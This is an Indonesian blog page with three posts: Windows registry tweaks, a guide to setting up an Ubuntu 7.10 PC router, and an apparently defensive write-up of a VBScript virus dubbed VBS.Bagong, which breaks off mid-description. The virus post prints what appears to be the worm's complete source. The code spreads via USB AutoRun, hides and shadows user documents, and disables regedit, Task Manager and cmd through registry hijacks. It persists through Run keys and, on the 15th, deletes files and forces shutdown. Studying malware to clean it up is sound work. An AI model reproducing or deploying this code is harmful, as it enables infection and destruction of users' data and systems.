Minggu, 13 April 2008

Mengganti AM/PM

Mengganti AM/PM di komputer kita ( lihat menu start di sebelah kanan bawah )
cara menggantinya start > run > regedit

HKEY_CURRENT_USER\Control Panel\International
s1159 = AM ganti ini sesuai keinginan anda
s2359 = PM ganti ini sesuai keinginan anda

lihat hasilnya ,lihat gambar
ampm

trik ini biasanya digunakan oleh virus untuk memamerkan dirinya di dalam komputer

Kumpulan Tips & Trik Windows

Mencegah penggantian setting Display Properties
Anda dapat melakukan Setting display dari Control Panel - Display atau melalui klik kanan pada desktop, lalu pilih Properties.
Dengan setting di bawah ini orang lain tidak dapat mengganti setting pada Display tersebut.
Ikutilah langkah berikut:
Klik Start——–>Run, ketikkan regedit lalu tekan Enter.
Key:
HKEY_CURRENT_USER\Software\Microsoft\Windows \CurrentVersion\Policies\System
Value Name: NoDispCPL
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled/mencegah penggantian)

Shortcut untuk Shutdown
Untuk mempercepat shutdown Anda bisa membuat shortcut pada desktop. Caranya :
1. Klik kanan area kosong pada desktop lalu pilih New - Shortcut.
2. Pada command line ketikkan c:\windows\rundll32.exe user, exitwindows.
3. Klik next dan beri nama shortcut tersebut.
4. Terakhir klik Finish.

Shortcut untuk Log Off
Untuk mempercepat log off Anda bisa membuat shortcut pada desktop. Caranya :
1. Klik kanan area kosong pada desktop lalu pilih New - Shortcut.
2. Pada command line ketikkan C:\WINDOWS\RUNDLL.EXE shell32.dll,SHExitWindowsEx 0
3. Klik next dan beri nama shortcut tersebut.
4. Terakhir klik Finish

Mencegah perintah Shut Down
Setting berikut akan mencegah seseorang untuk mematikan komputer Anda. Hal ini berguna jika misalnya Anda meninggalkan komputer untuk beberapa saat dan Anda khawatir ada orang lain yang akan men-Shut Down komputer Anda.
Ikutilah langkah berikut.
Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows \CurrentVersion\Policies\Explorer
Value Name: NoClose
Data Type : REG_DWORD
Data: (0 = shutdown enabled, 1 = shutdown disabled)

Reboot tanpa Loading
Bila Anda melakukan boot ulang Windows, sistem operasi ini akan me-restart PC dan kemudian masuk kembali ke Desktop Windows. Bagi Anda yang sering bolak-balik meng-install aplikasi, lama-kelamaan kewajibawan’ boot ulang Windows ini menjadi kurang praktis. Pada dasarnya aplikasi yang meminta restart Windows hanya memerlukan update registry Windows saja. Untuk itu ada cara yang lebih cepat yang dapat Anda lakukan. Caranya dengan menekan tombol [Shift] ketika melakukan restart karena Windows hanya akan melakukan start ulang, tanpa me-load BIOS

Menyimpan Isi Folder
Anda yang sering mengamati isi dari suatu folder, tentunya butuh cara yang tepat dan cepat. Untuk itu ikuti langkah berikut :
Pertama buat file isifolder.bat dengan Notepad dan diletakkan di c:\windows, lalu ketikkan :
@echo off
dir %1% /o > c:\windows\isifolder.txt notepad c:\windows\isifolder.txt
Buka registry lalu ke key [HKEY_CLASSES_ROOT\Directory\Shell
Buat key baru dg mengklik kanan pilih New - Key.
Pindah ke panel sebelah kanan, klik 2x pada Default.
Isi dengan &Lihat Isi Folder Buat key lagi dengan nama command.
Pd panel sebelah kanan klik 2x pd Default. Isi dengan c:\windows\isifolder.bat %1
Mulai sekarang untuk melihat dan menyimpan isi dari suatu folder, Anda tinggal mengklik kanan pada folder tersebut.

Mencegah Perubahan Setting Printer
Jika Anda meng-enable setting ini, maka orang lain tidak dapat mengganti setting pada Control Panel - Printer.
Ikutilah langkah berikut.
Klik Start—–>Run, ketikkan regedit lalu tekan Enter.
Key:
HKEY_CURRENT_USER\Software\Microsoft\Windows \CurrentVersion\Policies\Explorer
Value Name: NoPrinters
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled)

Mencegah Perubahan Setting Password
Jika Anda meng-enable setting ini, maka orang lain tidak dapat mengganti setting pada Control Panel - Password. Dengan kata lain orang lain tidak dapat mengganti password (jika komputer Anda memakai password Windows).
Ikutilah langkah berikut.
Klik Start——>Run, ketikkan regedit lalu tekan Enter.
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows \CurrentVersion\Policies\System
Value Name: NoSecCPL
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled)

Mengcopy dari DOS Prompt
Suatu saat kamu mungkin ingin melakukan copy tampilan text yang ada pada Dos Prompt. Untuk itu ikuti tips berikut :
Klik icon Mark yang terletak pada toolbar Dos Prompt.
Pilih area yang ingin Anda copy dengan melakukan drag.
Tekan icon Copy.
Setelah itu Anda dapat melakukan Paste, misalnya pada Notepad, MS Word, dll.

Mencetak Daftar File pada Folder
Sistem operasi Windows tidak menyediakan fasilitas untuk mencetak daftar file pada suatu directory. Tapi dengan sedikit tips berikut Anda bisa melakukannya. Caranya dari menu Start, —> Run. Ketikkan command /c dir>prn lalu klik OK atau cukup tekan Enter.

Mengetahui IRQ yang Telah Digunakan
1. Klik kanan pada icon My Computer.
2. Pilih Properties.
3. Pindah ke tab Device Manager.
4. Pilih Computer dan klik Properties.
Selanjutnya akan muncul tampilan yang menginformasikan IRQ mana saja yang telah digunakan dan “siapa” yang menggunakan IRQ tersebut.
Membuka link pada window baru
Khusus Internet Explorer, untuk membuka link pada window atau jendela baru, caranya tekan shift lalu klik link tersebut. Selain itu juga bisa dengan mengklik kanan pada link dan pilih Open in New Window

Mengubah Icon Drive dengan AutoRun
Pernah lihat icon Drive CDROM yang berubah ketika kita memasukan sebuah CD? nah.. hal yang sama bisa juga kita praktekkan pada Drive Harddisk. Bukalah Notepad anda dan ketik :
[autorun]
icon=nama icon.ico
Save dengan nama autorun.inf dan letakan di root drive yang dituju ( ct : C:\ atau D:\ )
Selanjutnya, letakan file icon yang kita inginkan di tempat yang sama dengan file autorun.inf, lalu restart komputer anda.
Tips : agar tampilan file di drive tidak berantakan, ubah atribut kedua file tersebut menjadi hidden.

Kerusakan pada File win.com
Saat booting windows Anda menampilkan pesan:
The following file is missing or corrupted: Win.com
The following file is missing or corrupted: Win.com
Program too big to fit in memory Cannot find Win.com, unable to continue loading Windows
Program too large
Untuk mengatasinya, Anda harus membuat file win.com baru dengan cara mengekstrak file win.cnf dari CD Windows. Langkah komplitnya sebagai berikut :
Ekstrak file win.cnf dari CD Windows ke folder C:\Windows.
Setelah diekstrak kemudian gantilah nama win.cnf menjadi win.com. Caranya : ren c:\windows\win.cnf c:\windows\win.com

Shortcut ke Pengaturan System
Biasanya anda harus mengklik kanan desktop lalus Properties. Sebenarnya ada cara yang lebih cepat yaitu dengan menggunakan shortcut. Caranya :
1. Klik kanan pada desktop, pilih New - Shortcut.
2. Pada command line, ketikkan C:\WINDOWS\CONTROL.EXE Sysdm.cpl, System,1
3. Klik next dan beri nama shortcut tersebut.
4. Terakhir klik Finish.

Disable Klik Kanan pada Dekstop & Windows Explorer
Jika Anda meng-enable setting di bawah ini maka tidak ada yang bisa melakukan klik kanan pada Desktop & Windows Explorer. Dengan kata lain menu yang muncul waktu klik kanan tidak ada lagi.
Ikutilah langkah berikut.
Klik Start—->Run, ketikkan regedit lalu tekan Enter.
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows \CurrentVersion\Policies\Explorer
Value Name: NoViewContextMenu
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled)

Disable Klik Kanan pada Taskbar
Jika Anda meng-enable setting di bawah ini maka tidak akan muncul menu waktu melakukan klik kanan pada Start Menu, Tab control, dan Clock.Ikutilah langkah berikut.
Klik Start*Run, ketikkan regedit lalu tekan Enter.
Key: [HKEY_CURRENT_USER\Software\Microsoft\Windows \CurrentVersion\Policies\Explorer]
Value Name: NoTrayContextMenu
Data Type: REG_DWORD
Data: (0 = disabled, 1 = enabled)

Perataan Teks pada Drop Down Menu
Drop down menu = menu yg muncul saat Anda mengklik menu File, Edit, Help, dll pd berbagai aplikasi Windows
Secara default, alignment pada drop down menu adalah rata kiri. Kalau Anda suka, Anda bisa menggantinya menjadi rata kanan. Ikutilah langkah berikut.
Klik Start—->Run, ketikkan regedit lalu tekan Enter.
Caranya :
Key: HKEY_CURRENT_USER\Control Panel\Desktop
Value Name: MenuDropAlignment
Data Type: REG_SZ
Data: (0 = rata kiri, 1 = rata kanan)

mengunci penginstalan software melalui msconfig yang ada di windows XP. caranya:
1. dari Menu Run ketik msconfig
2. kemudian cari Tab Services
3. Selanjutnya cari Windows Installer, kemudian hilangkan centang (check list) nya. Defaulnya tercheck list.
4. Restart Komputernya
5. Selanjutnya bila ingin menginstall software lakukan langkah yang sama, tetapi kali ini check list pada windows Installer.
Melalui regedit saya belum pernah coba. Ato kalo tidak mau direpotkan, bila masih dilingkungan Windows XP, jangan berikan password administrator bagi pengguna lain. Karena hampir semua software yang bisa menginstall hanya yang memiliki level administrator bila menggunakan windows 2000 ke atas.

Selasa, 18 Maret 2008

PC Router dgn Ubuntu 7.10 (Gutsy) Server i386

setelah sekian lama tidak bermain2 blog, kali ne qt belajar membuat PC Router dengan distro ubuntu 7.10 Gutsy (Gibbon Server) yang saya ambil dari http://kambing.vlsm.org, berikut langkah2 nya :

  1. Siapkan PC Pentium IV dengan 2 ethernet card. LAN1 utk Internet (Public) LAN2 utk (Local) terhubung ke Switch distribusi utk client di kantor.
  2. CD installer Ubuntu 7.10 Server i386.
  3. Tidak banyak buang waktu, kita langsung install .
    - Boot
    boot.jpg
    - Choose Language pilih : English
    - Choose a countryy, territory or area pilih : Indonesia
    - Detect keyboard layout pilih :No
    - The origin of the keyboard pilih : U.S. English
    - Ikuti langkah selanjutnya dan tunggu.
    - Configure the network : DHCP
    - Untuk hostname disesuikan, saya coba default
    hostname.jpg
    - Partition Disks dgn cara manual
    Primary > ext3 > utk root / (disesuikan)
    Logical > swap > utk swap (disesuikan)
    - Configure time zone pilih : Jakarta
    - System clock set to UTC pilih : Yes
    - Set up user and passwords
    Full name for the new user : Administrator
    User for your account : administrator
    Choose a password for the new user : *************** (disesuikan)
    Re-enter password to verify : *************** (disesuikan)
    - Installing the base system (tunggu proses install sedang berjalan)
    installing.jpg
    - Software selection :
    softsel.jpg
    Sesuaikan dgn kebutuhan, saat ini saya hanya memilih SSH server.
    - Finish the installation Complete
    ubuntulogin.jpg
  4. Setelah instalasi selesai, remote server dengan menggunakan putty, pastikan ketahui ip lokal server tersebut karena pd awal instalasi menggunakan DHCP.
    ssh.jpg
  5. Setelah terhubung dgn server tersebut, setting IP Public (Internet) dan IP Local (LAN) secara static seperti dibawah ini.- root@ubuntu:/# pico /etc/network/interfaces
    # This file describes the network interfaces available on your system
    # and how to activate them. For more information, see interfaces(5).# The loopback network interface
    auto lo
    iface lo inet loopback# The primary network interface
    auto eth1
    iface eth1 inet static
    address 192.168.1.1
    netmask 255.255.255.0
    network 192.168.1.0
    broadcast 192.168.1.255auto eth2
    iface eth2 inet static
    address 202.xxx.xxx.xxx
    netmask 255.xxx.xxx.xxx
    gateway 202.xxx.xxx.xxx
    network 202.xxx.xxx.xxx
    broadcast 202.xxx.xxx.xxx- next, restart network interfaces :
    root@ubuntu:/# /etc/init.d/networking restart
    * Reconfiguring network interfaces… [ OK ]- Pastikan setting ip sudah bener pada eth1 & eth2 :
    root@ubuntu:/# ifconfig
    eth1 Link encap:Ethernet HWaddr 00:40:F4:B5:1D:16
    inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0
    inet6 addr: fe80::240:f4ff:feb5:1d16/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:7410927 errors:0 dropped:0 overruns:0 frame:0
    TX packets:13145891 errors:0 dropped:0 overruns:3 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:608038205 (579.8 MiB) TX bytes:1807218846 (1.6 GiB)
    Interrupt:20 Base address:0xcc00eth2 Link encap:Ethernet HWaddr 00:02:2A:DF:24:A5
    inet addr:202.xxx.xxx.xxx Bcast:202.xxx.xxx.xxx Mask:255.xxx.xxx.xxx inet6 addr: fe80::202:2aff:fedf:24a5/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:13037962 errors:91076 dropped:0 overruns:0 frame:0
    TX packets:7284592 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:1705422870 (1.5 GiB) TX bytes:590661930 (563.2 MiB)
    Interrupt:21 Base address:0xa800lo Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:16436 Metric:1
    RX packets:11 errors:0 dropped:0 overruns:0 frame:0
    TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:792 (792.0 b) TX bytes:792 (792.0 b)
  6. Untuk lebih complete dan stabil, serta mempermudah dalam hal install paket2 yang lainnya, alangkah baiknya kita update ke server lokal (Indonesia) utk menghemat bandwith. Kita rubah setingan repository (sources.list) :- root@ubuntu:/# pico /etc/apt/sources.listBerikut adalah daftar beberapa server repositori lokal yang menyediakan paket untuk Ubuntu 7.10 Gutsy Gibbon, pilih salah satu dari source berikut ini :

    mirror.its.ac.id
    (ITS, INHERENT)
    deb http://mirror.its.ac.id/ubuntu gutsy main multiverse restricted universe
    deb http://mirror.its.ac.id/ubuntu gutsy-security main multiverse restricted universe
    deb http://mirror.its.ac.id/ubuntu gutsy-backports main multiverse restricted universe
    deb http://mirror.its.ac.id/ubuntu gutsy-updates main multiverse restricted universe

    kambing.ui.edu
    (UI, Telkom, Indosat, OpenIXP, INHERENT)
    deb http://kambing.ui.edu/ubuntu gutsy main restricted universe multiverse
    deb http://kambing.ui.edu/ubuntu gutsy-updates main restricted universe multiverse
    deb http://kambing.ui.edu/ubuntu gutsy-security main restricted universe multiverse
    deb http://kambing.ui.edu/ubuntu gutsy-backports main restricted universe multiverse
    deb http://kambing.ui.edu/ubuntu gutsy-proposed main restricted universe multiverse

    mirror.cbn.net.id
    (OpenIXP)
    deb http://ubuntu.cbn.net.id/Ubuntu gutsy main restricted universe multiverse
    deb http://ubuntu.cbn.net.id/Ubuntu gutsy-updates main restricted universe multiverse
    deb http://ubuntu.cbn.net.id/Ubuntu gutsy-security main restricted universe multiverse
    deb http://ubuntu.cbn.net.id/Ubuntu gutsy-backports main restricted universe multiverse
    deb http://ubuntu.cbn.net.id/Ubuntu gutsy-proposed main restricted universe multiverse

    komo.vlsm.org

    deb http://komo.vlsm.org/ubuntu gutsy main restricted universe multiverse
    deb http://komo.vlsm.org/ubuntu gutsy-updates main restricted universe multiverse
    deb http://komo.vlsm.org/ubuntu gutsy-security main restricted universe multiverse
    deb http://komo.vlsm.org/ubuntu gutsy-backports main restricted universe multiverse
    deb http://komo.vlsm.org/ubuntu gutsy-proposed main restricted universe multiverse

    indika.net.id
    (OpenIXP)
    deb http://ubuntu.indika.net.id/ gutsy main restricted universe multiverse
    deb http://ubuntu.indika.net.id/ gutsy-updates main restricted universe multiverse
    deb http://ubuntu.indika.net.id/ gutsy-security main restricted universe multiverse
    deb http://ubuntu.indika.net.id/ gutsy-backports main restricted universe multiverse
    deb http://ubuntu.indika.net.id/ gutsy-proposed main restricted universe multiverse

    ftp.itb.ac.id
    (ITB, INHERENT)
    deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy main restricted universe multiverse
    deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy-updates main restricted universe multiverse
    deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy-security main restricted universe multiverse
    deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy-backports main restricted universe multiverse
    deb ftp://ftp.itb.ac.id/pub/ubuntu gutsy-proposed main restricted universe multiverse

    www.foss-id.web.id
    (Telkom)
    deb http://dl2.foss-id.web.id/ubuntu gutsy main restricted universe multiverse
    deb http://dl2.foss-id.web.id/ubuntu gutsy-updates main restricted universe multiverse
    deb http://dl2.foss-id.web.id/ubuntu gutsy-security main restricted universe multiverse
    deb http://dl2.foss-id.web.id/ubuntu gutsy-backports main restricted universe multiverse
    deb http://dl2.foss-id.web.id/ubuntu gutsy-proposed main restricted universe multiverse- Lakukan update paket2 :
    root@ubuntu:/# apt-get update
    update.jpg
  7. Mungkin disini bagi saya cukup penting karena, berperan sekali untuk melakukan sharing internet nya.
    • Tambahkan baris net.ipv4.ip_forward = 1 ke dalam file /etc/sysctl.conf :
      root@ubuntu:/# pico /etc/sysctl.conf
    • Edit file /proc/sys/net/ipv4/ip_forward :
      root@ubuntu:/# pico /proc/sys/net/ipv4/ip_forward
      (ganti angka 0 menjadi 1)
    • Lalukan instalasi dnsmasq dan ipmasq :
      root@ubuntu:/# apt-get install dnsmasq ipmasq
    • Restart dnsmasq :
      root@ubuntu:/# etc/init.d/dnsmasq restart
    • Konfigurasikan ipmasq agar dijalankan setelah network aktif :
      root@ubuntu:/# dpkg-reconfigure ipmasq
    • Jalankan perintah
      root@ubuntu:/# iptables -t nat -A POSTROUTING -j MASQUERADE
  8. Tambahkan baris iptables -t nat -A POSTROUTING -j MASQUERADE
    root@ubuntu:/# pico /etc/rc.local
    #!/bin/sh -e
    #
    # rc.local
    #
    # This script is executed at the end of each multiuser runlevel.
    # Make sure that the script will “exit 0″ on success or any other
    # value on error.
    #
    # In order to enable or disable this script just change the execution
    # bits.
    #
    # By default this script does nothing.iptables -t nat -A POSTROUTING -j MASQUERADEexit 0
  9. Setting IP pada pc klien dengan menggunakan IP static karena saya blm membuat DHCP Server.

Selesai sudah setting pc router dengan ubuntu 7.10 server ini, mudah2an bisa bermanfaat. Mohon maaf kalo ada kekurangan.

Minggu, 16 Desember 2007

BASMI FILE ~VBS~


kalo gw pelajari dari source virusnya (*.vbs), dia cuma menyamarkan file .vbs jadi:

1. tipe file dan icon MP3 sesuai default asosiasi aplikasinya, misal jadi "Winamp media file"
2. ekstensi *.vbs di-hide.
3. klik kanan file *.vbs > Edit, akan logoff ini penggalan script yang dimaksud:

ini penggalan script yang dimaksud:

Code:

Sub Samar
On Error Resume Next
Dim HandleDoc, HandleVbs
HandleDoc = "HKEY_CLASSES_ROOT\" & BacaHandle("mp3")
HandleVbs = "HKEY_CLASSES_ROOT\" & BacaHandle("VBS")
Reg.RegWrite HandleVbs & "\", Reg.RegRead(HandleDoc & "\")
Reg.RegWrite HandleVbs & "\DefaultIcon\", Reg.RegRead(HandleDoc & "\DefaultIcon\") Reg.RegWrite HandleVbs & "\NeverShowExt",""
Reg.RegWrite "HKCR\VBSFile\FriendlyTypeName", Reg.RegRead(HandleDoc & "\")
End Sub

Sub Pertahanan

Reg.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"

End Sub


secara logika juga gak mungkin VBS diblok, la wong virusnya jalanin VBS kok dan kalo mo edit .vbs di PC yang terinfeksi virus ini, ya jangan melalui klik kanan. Tapi buka dulu Notepad baru kemudian browse file .vbs-nya. IMHO.. penanggulangan malware akan lebih baik jika berdasarkan source-nya, krn kalo dari hasil tes run/virtualisasi ada keterbatasan masing² sistem si user-nya. contoh: dari source bisa ketahuan bahwa virus ini juga menghide dokumen Office 2007 (docx, xlsx, pptx) naa.. kalo di PC tempat kita ngetes gak ada dokumen tsb, kan gak bakal tahu.

Rem Bagong755090117,
On Error Resume Next
Dim Reg, fso, Induk
Set Reg = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set Induk = fso.GetFile(Wscript.ScriptFullName)
If Induk <> Reg.SpecialFolders("AppData") & "\Adobe.vbs" then
If fso.fileExists(Left(Induk, Len(Induk) - 4)) Then
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("mp3") & "\shell\Open\command\") & " " & chr(34) & Left(Induk, len(Induk)-3) & chr(34)) Else
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("mp3") & "\shell\Open\command\") & " " & chr(34) & chr(34))
End If
End If
AutoFlash
Sebar1
Sebar2
Samar Pertahanan
ShortCut
SerangFile (Left(Induk, InStrRev(Induk, " \ ")))
SerangFolder (Left(Induk, InStrRev(Induk, " \ ")))
SerangDrive("c:\")
SerangDrive("d:\")
SerangDrive("e:\")
SerangDrive("f:\")
SerangDrive("g:\")
AlwaysRun
Bom
SerangRecent

Sub AutoFlash
On Error Resume Next
Dim flashdrive, auto, tf1, tf2
For Each flashdrive In fso.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <>
"A:" then
Set auto = fso.CreateTextFile(flashdrive.Path & ("\AutoRun.inf"), True)
auto.Write ("[autorun]"& vbcrlf & "shellexecute=wscript.exe Dataku.vbs")
auto.Close
set tf1=fso.getfile(flashdrive.path & "\AutoRun.inf")
tf1.Attributes = 32
Induk.Copy (flashdrive.Path & "\Dataku.vbs")
set tf2=fso.getfile(flashdrive.path & "\Dataku.vbs")
tf2.Attributes = 32
End If
Next
End Sub

Sub SerangDrive (Lokasi)
On Error Resume Next Dim drv If fso.DriveExists(Lokasi) Then
Set drv = fso.GetDrive(fso.GetDriveName(Lokasi))
If drv.DriveType = 1 Or drv.DriveType = 2 Then
CopyVbs (Lokasi & "\New File.vbs")
SerangFolder (Lokasi)
End If
End If
End Sub

Sub SerangFolder (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Readme.vbs")
SerangFile (target)
SerangFolder2 (target)
Next
End Sub

Sub SerangFolder2 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Money.vbs")
SerangFile (target)
SerangFolder3 (target)
Next
End Sub

Sub SerangFolder3 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Hasil.vbs")
SerangFile (target)
Next
End Sub

Sub SerangFile (Lokasi)
On Error Resume Next
Dim target
For Each target In fso.GetFolder(Lokasi).Files
If lcase(Right(target,3))="doc" then
if Left(target,2)<> "~$" then CopyVbs(target & ".vbs")
HilangFile (target)
End If
If lcase(Right(target,3))="xls" or lcase(Right(target,3))="ppt" or lcase(Right(target,3))="pdf" or lcase(Right(target,3))="rtf" or lcase(Right(target,3))="rar" or lcase(Right(target,3))="zip" or lcase(Right(target,3))="jpg" or lcase(Right(target,3))="gif" or lcase(Right(target,3))="bmp" then if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-3) & "vbs")
End If
If lcase(Right(target,4))="docx" or lcase(Right(target,4))="xlsx" or lcase(Right(target,4))="pptx" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-4) & "vbs")
End If
if lcase(Right(target,3))="vbs" then KillVBS(target)
Next
End sub

Sub Pertahanan
On Error Resume Next
Reg.RegWrite "HKCR\inffile\shell\Install\command\", "logoff.exe"
Reg.RegWrite "HKCR\regfile\shell\open\command\", "logoff.exe"
Reg.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "0", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskMgr.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\attrib.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","Notepad.exe"
End Sub

Sub Samar
On Error Resume Next
Dim HandleDoc, HandleVbs
HandleDoc = "HKEY_CLASSES_ROOT\" & BacaHandle("mp3")
HandleVbs = "HKEY_CLASSES_ROOT\" & BacaHandle("VBS")
Reg.RegWrite HandleVbs & "\", Reg.RegRead(HandleDoc & "\")
Reg.RegWrite HandleVbs & "\DefaultIcon\", Reg.RegRead(HandleDoc & "\DefaultIcon\") Reg.RegWrite HandleVbs & "\NeverShowExt",""
Reg.RegWrite "HKCR\VBSFile\FriendlyTypeName", Reg.RegRead(HandleDoc & "\")
End Sub

Sub ShortCut
On Error Resume Next Dim lnk, lok lok = Reg.SpecialFolders("Favorites") & "\Adobe.lnk"
Set lnk = Reg.CreateShortCut(lok)
Induk.Copy (Reg.SpecialFolders("AppData") & "\Adobe.vbs")
lnk.TargetPath = Reg.ExpandEnvironmentStrings(Reg.SpecialFolders("AppData") & "\Adobe.vbs")
lnk.Save HilangFile (lok)
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Adobe", lok
End Sub

Sub HilangFile (AlamatFile)
Dim f1
Set f1 = fso.GetFile(AlamatFile)
f1.Attributes = 6
End sub

Sub CopyVbs (Alamat)
On Error Resume Next
Dim data, ts, s, a, tf
Randomize data = Left(Rnd(15) * 10000000000, 10)
Set ts = fso.openTextFile(Induk, 1)
a = ts.ReadAll
s = Right(a, Len(a) -22)
ts.Close
Set tf = fso.CreateTextFile(Alamat, True)
tf.WriteLine ("Rem Bagong" & data)
tf.Write s
tf.Close
Set ts = fso.GetFile(Alamat)
ts.Attributes = 1
End sub

Function BacaHandle(TipeFile)
BacaHandle = reg.RegRead ("HKEY_CLASSES_ROOT\." & TipeFile & "\")
End Function

Sub KillVBS(alamat)
On Error Resume Next
Dim ts, s, i, a, b Set ts = fso.openTextFile(alamat, 1)
s = ts.Readline
ts.Close
a = instr(s, "Bagong")
If a = 0 Or a = "" Then
Set ts = fso.GetFile(alamat)
ts.Attributes = 0
Set ts = fso.openTextFile(Induk, 1)
i = ts.ReadAll
ts.Close
Set ts = fso.CreateTextfile(alamat, True)
ts.Write i
ts.Close
End If
End sub

sub AlwaysRun
On Error Resume Next
Dim mf, check
If Wscript.ScriptFullname = Reg.SpecialFolders("AppData") & "\Adobe.vbs" then
Do
Set mf = fso.getfile(Wscript.ScriptFullname)
check = mf.Drive.drivetype
If check <> 1 Then Wscript.sleep 200000
Reg.run fso.getspecialfolder(0) & "\explorer.exe /e,/select, " &
Wscript.ScriptFullname
AutoFlash
Sebar1
SerangDrive("d:\")
SerangDrive("e:\")
Loop While check <> 1
End If
End sub

Sub Sebar1
dim nilai
nilai=Left(Reg.SpecialFolders("Desktop"),3) & "Windows\System.vbs"
CopyVBS (nilai)
HilangFile(nilai)
SerangFolder(Reg.SpecialFolders("MyDocuments"))
CopyVbs(Reg.SpecialFolders("NetHood") & "\Cerita 17.txt.vbs")
End Sub

Sub SerangRecent
On Error Resume Next
Dim target, ok
For Each target in fso.GetFolder(Reg.SpecialFolders("Recent")).Files
Set ok = reg.CreateShortCut(target)
if fso.FolderExists(ok.WorkingDirectory)
then SerangFolder (ok.WorkingDirectory)
Next
End sub

Sub Bom
On Error Resume Next
Dim target, ok, targethapus, tmp2, tmp3
If Day(Now) = 15 Then
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Dor", "logoff.exe"

Reg.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\System", "shutdown -s -f -t 5"
For Each target in fso.GetFolder(Reg.SpecialFolders("Recent")).Files
Set ok = reg.CreateShortCut(target)
tmp3 = ok.WorkingDirectory
If fso.FolderExists(tmp3) Then
For Each targethapus In fso.GetFolder(tmp3).Files
Set tmp2 = fso.GetFile(targethapus)
tmp2.Delete
Next
End If
Next
End If
End sub


Rem Created by Vir.VBS Generator V.1


File VBScript dari si Bagong ini bikinan Vir.VBS Generator V.1, mirip KillVBS. Kita namain aja virus ini VBS.Bagong

Penyeberan antar PC, di antaranya:

  • Menjalankan manual file .vbs-nya.
  • Autorun dari flashdisk yang terinfeksi begitu terpasang ke PC.

Yang dilakukan VBS.Bagong ini:

